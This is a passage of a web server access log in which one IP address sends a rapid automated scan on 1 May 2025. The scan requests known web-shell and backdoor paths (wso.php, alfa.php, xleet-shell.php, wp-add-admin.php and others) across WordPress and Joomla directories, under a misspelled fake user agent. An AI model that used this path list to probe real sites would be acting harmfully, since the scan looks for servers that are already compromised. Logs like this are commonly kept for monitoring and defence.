Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:57 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:42:58 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:01 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:03 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:04 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:07 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:09 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:10 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:12 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:15 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:18 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:21 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:26 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:29 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:31 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:32 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:34 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:37 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:38 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:40 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:44 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:46 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:13 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:15 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:16 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:18 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:20 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:23 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:25 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:28 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:31 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:33 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:36 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:37 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:39 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:42 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:44 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:45 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:47 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:50 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:52 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:54 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:57 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:58 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:01 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:06 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:08 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:10 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:12 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:16 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:19 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:21 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:24 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:26 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:29 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:32 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:34 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:36 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:40 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:43 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:45 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:47 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:49 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:54 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:56 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:57 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:45:59 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:00 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:02 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:04 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:48 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:50 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:52 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:54 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:57 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:43:58 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:00 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:02 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:07 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:44:09 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:05 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:07 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:10 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:12 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:14 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:16 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:20 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:22 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:24 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:26 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:28 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:31 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:33 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [01/May/2025:00:46:35 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 